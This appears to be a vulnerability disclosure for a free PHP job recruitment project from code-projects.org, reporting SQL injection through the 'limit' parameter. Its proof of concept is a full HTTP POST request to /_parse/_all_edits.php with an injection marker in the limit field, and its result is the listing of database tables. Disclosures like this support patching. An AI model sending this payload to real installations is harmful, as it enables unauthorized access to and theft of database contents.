sql8.md

job-recruitment-in-php has sql injection vulnerability in limit parameter.

supplier

https://code-projects.org/job-recruitment-in-php-css-javascript-and-mysql-free-download/

Vulnerability file

limit parameter.

describe

An unrestricted SQL injection attack exists in a job-recruitment-system via $limit parameter . The parameters that can be controlled are as follows: limit parameter . A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database.

Code analysis

When the parameter value of $limit is obtained , it will be concatenated into SQL statements and executed, which has a SQL injection vulnerability.

POC

POST /_parse/_all_edits.php HTTP/1.1
Host: airecruitmentsystem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://airecruitmentsystem
Connection: close
Referer: http://airecruitmentsystem/_parse/_all_edits.php
Cookie: PHPSESSID=koqgqhv09iec6dqukgets9op9p
Upgrade-Insecure-Requests: 1
Priority: u=0, i

limit=1*&action=add_req&skillset1=1

Result

Get tables of owlphin

Discover

西安电子科技大学： 李腾，谢亚轩，刘芮彤